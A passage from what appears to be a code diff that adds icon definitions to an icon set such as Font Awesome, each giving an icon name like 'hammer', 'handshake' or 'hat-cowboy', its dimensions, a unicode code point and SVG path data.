51.2-232.18 116.11C4 180.09 24.07 224 58.64 224zM384 112a16 16 0 1 1-16 16 16 16 0 0 1 16-16zM256 80a16 16 0 1 1-16 16 16 16 0 0 1 16-16zm-128 32a16 16 0 1 1-16 16 16 16 0 0 1 16-16z" ], + hammer: [ 576, 512, [], "f6e3", "M571.31 193.94l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31-28.9-28.9c5.63-21.31.36-44.9-16.35-61.61l-45.25-45.25c-62.48-62.48-163.79-62.48-226.28 0l90.51 45.25v18.75c0 16.97 6.74 33.25 18.75 45.25l49.14 49.14c16.71 16.71 40.3 21.98 61.61 16.35l28.9 28.9-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l90.51-90.51c6.23-6.24 6.23-16.37-.02-22.62zm-286.72-15.2c-3.7-3.7-6.84-7.79-9.85-11.95L19.64 404.96c-25.57 23.88-26.26 64.19-1.53 88.93s65.05 24.05 88.93-1.53l238.13-255.07c-3.96-2.91-7.9-5.87-11.44-9.41l-49.14-49.14z" ], + hamsa: [ 512, 512, [], "f665", "M509.34 307.25C504.28 295.56 492.75 288 480 288h-64V80c0-22-18-40-40-40s-40 18-40 40v134c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V40c0-22-18-40-40-40s-40 18-40 40v174c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V80c0-22-18-40-40-40S96 58 96 80v208H32c-12.75 0-24.28 7.56-29.34 19.25a31.966 31.966 0 0 0 5.94 34.58l102.69 110.03C146.97 490.08 199.69 512 256 512s109.03-21.92 144.72-60.14L503.4 341.83a31.966 31.966 0 0 0 5.94-34.58zM256 416c-53.02 0-96-64-96-64s42.98-64 96-64 96 64 96 64-42.98 64-96 64zm0-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" ], + "hand-holding": [ 576, 512, [], "f4bd", "M565.3 328.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" ], + "hand-holding-heart": [ 576, 512, [], "f4be", "M275.3 250.5c7 7.4 18.4 7.4 25.5 0l108.9-114.2c31.6-33.2 29.8-88.2-5.6-118.8-30.8-26.7-76.7-21.9-104.9 7.7L288 36.9l-11.1-11.6C248.7-4.4 202.8-9.2 172 17.5c-35.3 30.6-37.2 85.6-5.6 118.8l108.9 114.2zm290 77.6c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" ], + "hand-holding-medical": [ 576, 512, [], "e05c", "M159.88,175.82h64v64a16,16,0,0,0,16,16h64a16,16,0,0,0,16-16v-64h64a16,16,0,0,0,16-16v-64a16,16,0,0,0-16-16h-64v-64a16,16,0,0,0-16-16h-64a16,16,0,0,0-16,16v64h-64a16,16,0,0,0-16,16v64A16,16,0,0,0,159.88,175.82ZM568.07,336.13a39.91,39.91,0,0,0-55.93-8.47L392.47,415.84H271.86a16,16,0,0,1,0-32H350.1c16,0,30.75-10.87,33.37-26.61a32.06,32.06,0,0,0-31.62-37.38h-160a117.7,117.7,0,0,0-74.12,26.25l-46.5,37.74H15.87a16.11,16.11,0,0,0-16,16v96a16.11,16.11,0,0,0,16,16h347a104.8,104.8,0,0,0,61.7-20.27L559.6,392A40,40,0,0,0,568.07,336.13Z" ], + "hand-holding-usd": [ 576, 512, [], "f4c0", "M271.06,144.3l54.27,14.3a8.59,8.59,0,0,1,6.63,8.1c0,4.6-4.09,8.4-9.12,8.4h-35.6a30,30,0,0,1-11.19-2.2c-5.24-2.2-11.28-1.7-15.3,2l-19,17.5a11.68,11.68,0,0,0-2.25,2.66,11.42,11.42,0,0,0,3.88,15.74,83.77,83.77,0,0,0,34.51,11.5V240c0,8.8,7.83,16,17.37,16h17.37c9.55,0,17.38-7.2,17.38-16V222.4c32.93-3.6,57.84-31,53.5-63-3.15-23-22.46-41.3-46.56-47.7L282.68,97.4a8.59,8.59,0,0,1-6.63-8.1c0-4.6,4.09-8.4,9.12-8.4h35.6A30,30,0,0,1,332,83.1c5.23,2.2,11.28,1.7,15.3-2l19-17.5A11.31,11.31,0,0,0,368.47,61a11.43,11.43,0,0,0-3.84-15.78,83.82,83.82,0,0,0-34.52-11.5V16c0-8.8-7.82-16-17.37-16H295.37C285.82,0,278,7.2,278,16V33.6c-32.89,3.6-57.85,31-53.51,63C227.63,119.6,247,137.9,271.06,144.3ZM565.27,328.1c-11.8-10.7-30.2-10-42.6,0L430.27,402a63.64,63.64,0,0,1-40,14H272a16,16,0,0,1,0-32h78.29c15.9,0,30.71-10.9,33.25-26.6a31.2,31.2,0,0,0,.46-5.46A32,32,0,0,0,352,320H192a117.66,117.66,0,0,0-74.1,26.29L71.4,384H16A16,16,0,0,0,0,400v96a16,16,0,0,0,16,16H372.77a64,64,0,0,0,40-14L564,377a32,32,0,0,0,1.28-48.9Z" ], + "hand-holding-water": [ 576, 512, [], "f4c1", "M288 256c53 0 96-42.1 96-94 0-40-57.1-120.7-83.2-155.6-6.4-8.5-19.2-8.5-25.6 0C249.1 41.3 192 122 192 162c0 51.9 43 94 96 94zm277.3 72.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" ], + "hand-lizard": [ 576, 512, [], "f258", "M384 480h192V363.778a95.998 95.998 0 0 0-14.833-51.263L398.127 54.368A48 48 0 0 0 357.544 32H24C10.745 32 0 42.745 0 56v16c0 30.928 25.072 56 56 56h229.981c12.844 0 21.556 13.067 16.615 24.923l-21.41 51.385A32 32 0 0 1 251.648 224H128c-35.346 0-64 28.654-64 64v8c0 13.255 10.745 24 24 24h147.406a47.995 47.995 0 0 1 25.692 7.455l111.748 70.811A24.001 24.001 0 0 1 384 418.539V480z" ], + "hand-middle-finger": [ 512, 512, [], "f806", "M479.93 317.12a37.33 37.33 0 0 0-28.28-36.19L416 272v-49.59c0-11.44-9.69-21.29-23.15-23.54l-38.4-6.4C336.63 189.5 320 200.86 320 216v32a8 8 0 0 1-16 0V50c0-26.28-20.25-49.2-46.52-50A48 48 0 0 0 208 48v200a8 8 0 0 1-16 0v-32c0-15.15-16.63-26.51-34.45-23.54l-30.68 5.12c-18 3-30.87 16.12-30.87 31.38V376a8 8 0 0 1-16 0v-76l-27.36 15A37.34 37.34 0 0 0 32 348.4v73.47a37.31 37.31 0 0 0 10.93 26.39l30.93 30.93A112 112 0 0 0 153.05 512h215A112 112 0 0 0 480 400z" ], + "hand-paper": [ 448, 512, [], "f256", "M408.781 128.007C386.356 127.578 368 146.36 368 168.79V256h-8V79.79c0-22.43-18.356-41.212-40.781-40.783C297.488 39.423 280 57.169 280 79v177h-8V40.79C272 18.36 253.644-.422 231.219.007 209.488.423 192 18.169 192 40v216h-8V80.79c0-22.43-18.356-41.212-40.781-40.783C121.488 40.423 104 58.169 104 80v235.992l-31.648-43.519c-12.993-17.866-38.009-21.817-55.877-8.823-17.865 12.994-21.815 38.01-8.822 55.877l125.601 172.705A48 48 0 0 0 172.073 512h197.59c22.274 0 41.622-15.324 46.724-37.006l26.508-112.66a192.011 192.011 0 0 0 5.104-43.975V168c.001-21.831-17.487-39.577-39.218-39.993z" ], + "hand-peace": [ 448, 512, [], "f25b", "M408 216c-22.092 0-40 17.909-40 40h-8v-32c0-22.091-17.908-40-40-40s-40 17.909-40 40v32h-8V48c0-26.51-21.49-48-48-48s-48 21.49-48 48v208h-13.572L92.688 78.449C82.994 53.774 55.134 41.63 30.461 51.324 5.787 61.017-6.356 88.877 3.337 113.551l74.765 190.342-31.09 24.872c-15.381 12.306-19.515 33.978-9.741 51.081l64 112A39.998 39.998 0 0 0 136 512h240c18.562 0 34.686-12.77 38.937-30.838l32-136A39.97 39.97 0 0 0 448 336v-80c0-22.091-17.908-40-40-40z" ], + "hand-point-down": [ 384, 512, [], "f0a7", "M91.826 467.2V317.966c-8.248 5.841-16.558 10.57-24.918 14.153C35.098 345.752-.014 322.222 0 288c.008-18.616 10.897-32.203 29.092-40 28.286-12.122 64.329-78.648 77.323-107.534 7.956-17.857 25.479-28.453 43.845-28.464l.001-.002h171.526c11.812 0 21.897 8.596 23.703 20.269 7.25 46.837 38.483 61.76 38.315 123.731-.007 2.724.195 13.254.195 16 0 50.654-22.122 81.574-71.263 72.6-9.297 18.597-39.486 30.738-62.315 16.45-21.177 24.645-53.896 22.639-70.944 6.299V467.2c0 24.15-20.201 44.8-43.826 44.8-23.283 0-43.826-21.35-43.826-44.8zM112 72V24c0-13.255 10.745-24 24-24h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24zm212-24c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z" ], + "hand-point-left": [ 512, 512, [], "f0a5", "M44.8 155.826h149.234c-5.841-8.248-10.57-16.558-14.153-24.918C166.248 99.098 189.778 63.986 224 64c18.616.008 32.203 10.897 40 29.092 12.122 28.286 78.648 64.329 107.534 77.323 17.857 7.956 28.453 25.479 28.464 43.845l.002.001v171.526c0 11.812-8.596 21.897-20.269 23.703-46.837 7.25-61.76 38.483-123.731 38.315-2.724-.007-13.254.195-16 .195-50.654 0-81.574-22.122-72.6-71.263-18.597-9.297-30.738-39.486-16.45-62.315-24.645-21.177-22.639-53.896-6.299-70.944H44.8c-24.15 0-44.8-20.201-44.8-43.826 0-23.283 21.35-43.826 44.8-43.826zM440 176h48c13.255 0 24 10.745 24 24v192c0 13.255-10.745 24-24 24h-48c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24zm24 212c11.046 0 20-8.954 20-20s-8.954-20-20-20-20 8.954-20 20 8.954 20 20 20z" ], + "hand-point-right": [ 512, 512, [], "f0a4", "M512 199.652c0 23.625-20.65 43.826-44.8 43.826h-99.851c16.34 17.048 18.346 49.766-6.299 70.944 14.288 22.829 2.147 53.017-16.45 62.315C353.574 425.878 322.654 448 272 448c-2.746 0-13.276-.203-16-.195-61.971.168-76.894-31.065-123.731-38.315C120.596 407.683 112 397.599 112 385.786V214.261l.002-.001c.011-18.366 10.607-35.889 28.464-43.845 28.886-12.994 95.413-49.038 107.534-77.323 7.797-18.194 21.384-29.084 40-29.092 34.222-.014 57.752 35.098 44.119 66.908-3.583 8.359-8.312 16.67-14.153 24.918H467.2c23.45 0 44.8 20.543 44.8 43.826zM96 200v192c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24h48c13.255 0 24 10.745 24 24zM68 368c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z" ], + "hand-point-up": [ 384, 512, [], "f0a6", "M135.652 0c23.625 0 43.826 20.65 43.826 44.8v99.851c17.048-16.34 49.766-18.346 70.944 6.299 22.829-14.288 53.017-2.147 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065 76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261l-.001-.002c-18.366-.011-35.889-10.607-43.845-28.464C93.421 342.648 57.377 276.122 29.092 264 10.897 256.203.008 242.616 0 224c-.014-34.222 35.098-57.752 66.908-44.119 8.359 3.583 16.67 8.312 24.918 14.153V44.8c0-23.45 20.543-44.8 43.826-44.8zM136 416h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24v-48c0-13.255 10.745-24 24-24zm168 28c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20z" ], + "hand-pointer": [ 448, 512, [], "f25a", "M448 240v96c0 3.084-.356 6.159-1.063 9.162l-32 136C410.686 499.23 394.562 512 376 512H168a40.004 40.004 0 0 1-32.35-16.473l-127.997-176c-12.993-17.866-9.043-42.883 8.822-55.876 17.867-12.994 42.884-9.043 55.877 8.823L104 315.992V40c0-22.091 17.908-40 40-40s40 17.909 40 40v200h8v-40c0-22.091 17.908-40 40-40s40 17.909 40 40v40h8v-24c0-22.091 17.908-40 40-40s40 17.909 40 40v24h8c0-22.091 17.908-40 40-40s40 17.909 40 40zm-256 80h-8v96h8v-96zm88 0h-8v96h8v-96zm88 0h-8v96h8v-96z" ], + "hand-rock": [ 512, 512, [], "f255", "M464.8 80c-26.9-.4-48.8 21.2-48.8 48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v32h-8V80.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v136l-8-7.1v-48.1c0-26.3-20.9-48.3-47.2-48.8C21.9 127.6 0 149.2 0 176v66.4c0 27.4 11.7 53.5 32.2 71.8l111.7 99.3c10.2 9.1 16.1 22.2 16.1 35.9v6.7c0 13.3 10.7 24 24 24h240c13.3 0 24-10.7 24-24v-2.9c0-12.8 2.6-25.5 7.5-37.3l49-116.3c5-11.8 7.5-24.5 7.5-37.3V128.8c0-26.3-20.9-48.4-47.2-48.8z" ], + "hand-scissors": [ 512, 512, [], "f257", "M216 440c0-22.092 17.909-40 40-40v-8h-32c-22.091 0-40-17.908-40-40s17.909-40 40-40h32v-8H48c-26.51 0-48-21.49-48-48s21.49-48 48-48h208v-13.572l-177.551-69.74c-24.674-9.694-36.818-37.555-27.125-62.228 9.693-24.674 37.554-36.817 62.228-27.124l190.342 74.765 24.872-31.09c12.306-15.381 33.978-19.515 51.081-9.741l112 64A40.002 40.002 0 0 1 512 168v240c0 18.562-12.77 34.686-30.838 38.937l-136 32A39.982 39.982 0 0 1 336 480h-80c-22.091 0-40-17.908-40-40z" ], + "hand-sparkles": [ 640, 512, [], "e05d", "M106.66,170.64l.09,0,49.55-20.65a7.32,7.32,0,0,0,3.68-6h0a7.29,7.29,0,0,0-3.68-6l-49.57-20.67-.07,0L86,67.68a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L3.7,138A7.29,7.29,0,0,0,0,144H0a7.32,7.32,0,0,0,3.68,6L53.27,170.6l.07,0L74,220.26a6.65,6.65,0,0,0,11.92,0l20.69-49.62ZM471.38,467.41l-1-.42-1-.5a38.67,38.67,0,0,1,0-69.14l1-.49,1-.43,37.49-15.63,15.63-37.48.41-1,.47-.95c3.85-7.74,10.58-13.63,18.35-17.34,0-1.33.25-2.69.27-4V144a32,32,0,0,0-64,0v72a8,8,0,0,1-8,8H456a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H360a8,8,0,0,1-8-8V32a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H264a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0v241l-23.59-32.49a40,40,0,0,0-64.71,47.09L229.3,492.21A48.07,48.07,0,0,0,268.09,512H465.7c19.24,0,35.65-11.73,43.24-28.79l-.07-.17ZM349.79,339.52,320,351.93l-12.42,29.78a4,4,0,0,1-7.15,0L288,351.93l-29.79-12.41a4,4,0,0,1,0-7.16L288,319.94l12.42-29.78a4,4,0,0,1,7.15,0L320,319.94l29.79,12.42a4,4,0,0,1,0,7.16ZM640,431.91a7.28,7.28,0,0,0-3.68-6l-49.57-20.67-.07,0L566,355.63a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L483.7,426a7.28,7.28,0,0,0-3.68,6h0a7.29,7.29,0,0,0,3.68,5.95l49.57,20.67.07,0L554,508.21a6.65,6.65,0,0,0,11.92,0l20.69-49.62h0l.09,0,49.55-20.66a7.29,7.29,0,0,0,3.68-5.95h0Z" ], + "hand-spock": [ 512, 512, [], "f259", "M510.9005,145.27027,442.604,432.09391A103.99507,103.99507,0,0,1,341.43745,512H214.074a135.96968,135.96968,0,0,1-93.18489-36.95291L12.59072,373.12723a39.992,39.992,0,0,1,54.8122-58.24988l60.59342,57.02528v0a283.24849,283.24849,0,0,0-11.6703-80.46734L73.63726,147.36011a40.00575,40.00575,0,1,1,76.71833-22.7187l37.15458,125.39477a8.33113,8.33113,0,0,0,16.05656-4.4414L153.26183,49.95406A39.99638,39.99638,0,1,1,230.73015,30.0166l56.09491,218.15825a10.42047,10.42047,0,0,0,20.30018-.501L344.80766,63.96966a40.052,40.052,0,0,1,51.30245-30.0893c19.86073,6.2998,30.86262,27.67378,26.67564,48.08487l-33.83869,164.966a7.55172,7.55172,0,0,0,14.74406,3.2666l29.3973-123.45874a39.99414,39.99414,0,1,1,77.81208,18.53121Z" ], + hands: [ 640, 512, [], "f4c2", "M204.8 230.4c-10.6-14.1-30.7-17-44.8-6.4-14.1 10.6-17 30.7-6.4 44.8l38.1 50.8c4.8 6.4 4.1 15.3-1.5 20.9l-12.8 12.8c-6.7 6.7-17.6 6.2-23.6-1.1L64 244.4V96c0-17.7-14.3-32-32-32S0 78.3 0 96v218.4c0 10.9 3.7 21.5 10.5 30l104.1 134.3c5 6.5 8.4 13.9 10.4 21.7 1.8 6.9 8.1 11.6 15.3 11.6H272c8.8 0 16-7.2 16-16V384c0-27.7-9-54.6-25.6-76.8l-57.6-76.8zM608 64c-17.7 0-32 14.3-32 32v148.4l-89.8 107.8c-6 7.2-17 7.7-23.6 1.1l-12.8-12.8c-5.6-5.6-6.3-14.5-1.5-20.9l38.1-50.8c10.6-14.1 7.7-34.2-6.4-44.8-14.1-10.6-34.2-7.7-44.8 6.4l-57.6 76.8C361 329.4 352 356.3 352 384v112c0 8.8 7.2 16 16 16h131.7c7.1 0 13.5-4.7 15.3-11.6 2-7.8 5.4-15.2 10.4-21.7l104.1-134.3c6.8-8.5 10.5-19.1 10.5-30V96c0-17.7-14.3-32-32-32z" ], + "hands-helping": [ 640, 512, [], "f4c4", "M488 192H336v56c0 39.7-32.3 72-72 72s-72-32.3-72-72V126.4l-64.9 39C107.8 176.9 96 197.8 96 220.2v47.3l-80 46.2C.7 322.5-4.6 342.1 4.3 357.4l80 138.6c8.8 15.3 28.4 20.5 43.7 11.7L231.4 448H368c35.3 0 64-28.7 64-64h16c17.7 0 32-14.3 32-32v-64h8c13.3 0 24-10.7 24-24v-48c0-13.3-10.7-24-24-24zm147.7-37.4L555.7 16C546.9.7 527.3-4.5 512 4.3L408.6 64H306.4c-12 0-23.7 3.4-33.9 9.7L239 94.6c-9.4 5.8-15 16.1-15 27.1V248c0 22.1 17.9 40 40 40s40-17.9 40-40v-88h184c30.9 0 56 25.1 56 56v28.5l80-46.2c15.3-8.9 20.5-28.4 11.7-43.7z" ], + "hands-wash": [ 576, 512, [], "e05e", "M496,224a48,48,0,1,0-48-48A48,48,0,0,0,496,224ZM311.47,178.45A56.77,56.77,0,0,1,328,176a56,56,0,0,1,19,3.49l15.35-48.61A24,24,0,0,0,342,99.74c-11.53-1.35-22.21,6.44-25.71,17.51l-20.9,66.17ZM93.65,386.33c.8-.19,1.54-.54,2.35-.71V359.93a156,156,0,0,1,107.06-148l73.7-22.76L310.92,81.05a24,24,0,0,0-20.33-31.11c-11.53-1.34-22.22,6.45-25.72,17.52L231.42,173.88a8,8,0,0,1-15.26-4.83L259.53,31.26A24,24,0,0,0,239.2.15C227.67-1.19,217,6.6,213.49,17.66L165.56,169.37a8,8,0,1,1-15.26-4.82l38.56-122a24,24,0,0,0-20.33-31.11C157,10,146.32,17.83,142.82,28.9l-60,189.85L80.76,168.7A24,24,0,0,0,56.9,144.55c-13.23-.05-24.72,10.54-24.9,23.86V281.14A123.69,123.69,0,0,0,93.65,386.33ZM519.1,336H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,279.84,498.71,272,487.1,272H288l47.09-17.06a24,24,0,0,0-14.18-45.88L213.19,242.31A123.88,123.88,0,0,0,128,360v25.65a79.78,79.78,0,0,1,58,108.63A118.9,118.9,0,0,0,248,512H456a24,24,0,0,0,23.54-28.76C477.35,471.84,466.71,464,455.1,464H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,407.84,498.71,400,487.1,400H360a8,8,0,0,1,0-16H520a24,24,0,0,0,23.54-28.76C541.35,343.84,530.71,336,519.1,336ZM416,64a32,32,0,1,0-32-32A32,32,0,0,0,416,64ZM112,416a48,48,0,1,0,48,48A48,48,0,0,0,112,416Z" ], + handshake: [ 640, 512, [], "f2b5", "M434.7 64h-85.9c-8 0-15.7 3-21.6 8.4l-98.3 90c-.1.1-.2.3-.3.4-16.6 15.6-16.3 40.5-2.1 56 12.7 13.9 39.4 17.6 56.1 2.7.1-.1.3-.1.4-.2l79.9-73.2c6.5-5.9 16.7-5.5 22.6 1 6 6.5 5.5 16.6-1 22.6l-26.1 23.9L504 313.8c2.9 2.4 5.5 5 7.9 7.7V128l-54.6-54.6c-5.9-6-14.1-9.4-22.6-9.4zM544 128.2v223.9c0 17.7 14.3 32 32 32h64V128.2h-96zm48 223.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM0 384h64c17.7 0 32-14.3 32-32V128.2H0V384zm48-63.9c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16c0-8.9 7.2-16 16-16zm435.9 18.6L334.6 217.5l-30 27.5c-29.7 27.1-75.2 24.5-101.7-4.4-26.9-29.4-24.8-74.9 4.4-101.7L289.1 64h-83.8c-8.5 0-16.6 3.4-22.6 9.4L128 128v223.9h18.3l90.5 81.9c27.4 22.3 67.7 18.1 90-9.3l.2-.2 17.9 15.5c15.9 13 39.4 10.5 52.3-5.4l31.4-38.6 5.4 4.4c13.7 11.1 33.9 9.1 45-4.7l9.5-11.7c11.2-13.8 9.1-33.9-4.6-45.1z" ], + "handshake-alt-slash": [ 640, 512, [], "e05f", "M358.59,195.6,504.2,313.8a63.4,63.4,0,0,1,22.21,37.91H624a16.05,16.05,0,0,0,16-16V143.91A16,16,0,0,0,624,128H512L457.41,73.41A32,32,0,0,0,434.8,64H348.91a32,32,0,0,0-21.61,8.41l-88.12,80.68-25.69-19.85L289.09,64H205.3a32,32,0,0,0-22.6,9.41l-20.34,20.3L45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.54,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45L303.4,202.72l32.69-29.92,27-24.7a16,16,0,0,1,21.61,23.61ZM16,128A16.05,16.05,0,0,0,0,144V335.91a16,16,0,0,0,16,16H146.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L23.56,128Z" ], + "handshake-slash": [ 640, 512, [], "e060", "M0,128.21V384H64a32,32,0,0,0,32-32V184L23.83,128.21ZM48,320.1a16,16,0,1,1-16,16A16,16,0,0,1,48,320.1Zm80,31.81h18.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L128,208.72Zm416-223.7V352.1a32,32,0,0,0,32,32h64V128.21ZM592,352.1a16,16,0,1,1,16-16A16,16,0,0,1,592,352.1ZM303.33,202.67l59.58-54.57a16,16,0,0,1,21.59,23.61L358.41,195.6,504,313.8a73.08,73.08,0,0,1,7.91,7.7V128L457.3,73.41A31.76,31.76,0,0,0,434.7,64H348.8a31.93,31.93,0,0,0-21.6,8.41l-88.07,80.64-25.64-19.81L289.09,64H205.3a32,32,0,0,0-22.6,9.41L162.36,93.72,45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.65-25.27a16,16,0,0,0-2.82-22.45Z" ], + hanukiah: [ 640, 512, [], "f6e6", "M232 160c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm-64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm224 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm88 8c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v120h32V168zm-440-8c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm520 0h-32c-8.84 0-16 7.16-16 16v112c0 17.67-14.33 32-32 32H352V128c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v192H96c-17.67 0-32-14.33-32-32V176c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v112c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V176c0-8.84-7.16-16-16-16zm-16-32c13.25 0 24-11.94 24-26.67S608 48 608 48s-24 38.61-24 53.33S594.75 128 608 128zm-576 0c13.25 0 24-11.94 24-26.67S32 48 32 48 8 86.61 8 101.33 18.75 128 32 128zm288-48c13.25 0 24-11.94 24-26.67S320 0 320 0s-24 38.61-24 53.33S306.75 80 320 80zm-208 48c13.25 0 24-11.94 24-26.67S112 48 112 48s-24 38.61-24 53.33S98.75 128 112 128zm64 0c13.25 0 24-11.94 24-26.67S176 48 176 48s-24 38.61-24 53.33S162.75 128 176 128zm64 0c13.25 0 24-11.94 24-26.67S240 48 240 48s-24 38.61-24 53.33S226.75 128 240 128zm160 0c13.25 0 24-11.94 24-26.67S400 48 400 48s-24 38.61-24 53.33S386.75 128 400 128zm64 0c13.25 0 24-11.94 24-26.67S464 48 464 48s-24 38.61-24 53.33S450.75 128 464 128zm64 0c13.25 0 24-11.94 24-26.67S528 48 528 48s-24 38.61-24 53.33S514.75 128 528 128z" ], + "hard-hat": [ 512, 512, [], "f807", "M480 288c0-80.25-49.28-148.92-119.19-177.62L320 192V80a16 16 0 0 0-16-16h-96a16 16 0 0 0-16 16v112l-40.81-81.62C81.28 139.08 32 207.75 32 288v64h448zm16 96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + hashtag: [ 448, 512, [], "f292", "M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z" ], + "hat-cowboy": [ 640, 512, [], "f8c0", "M490 296.9C480.51 239.51 450.51 64 392.3 64c-14 0-26.49 5.93-37 14a58.21 58.21 0 0 1-70.58 0c-10.51-8-23-14-37-14-58.2 0-88.2 175.47-97.71 232.88C188.81 309.47 243.73 320 320 320s131.23-10.51 170-23.1zm142.9-37.18a16 16 0 0 0-19.75 1.5c-1 .9-101.27 90.78-293.16 90.78-190.82 0-292.22-89.94-293.24-90.84A16 16 0 0 0 1 278.53C1.73 280.55 78.32 480 320 480s318.27-199.45 319-201.47a16 16 0 0 0-6.09-18.81z" ], + "hat-cowboy-side": [ 640, 512, [], "f8c1", "M260.8 291.06c-28.63-22.94-62-35.06-96.4-35.06C87 256 21.47 318.72 1.43 412.06c-3.55 16.6-.43 33.83 8.57 47.3C18.75 472.47 31.83 480 45.88 480H592c-103.21 0-155-37.07-233.19-104.46zm234.65-18.29L468.4 116.2A64 64 0 0 0 392 64.41L200.85 105a64 64 0 0 0-50.35 55.79L143.61 226c6.9-.83 13.7-2 20.79-2 41.79 0 82 14.55 117.29 42.82l98 84.48C450.76 412.54 494.9 448 592 448a48 48 0 0 0 48-48c0-25.39-29.6-119.33-144.55-127.23z" ], + "hat-wizard": [ 512, 512, [], "f6e8", "M496 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 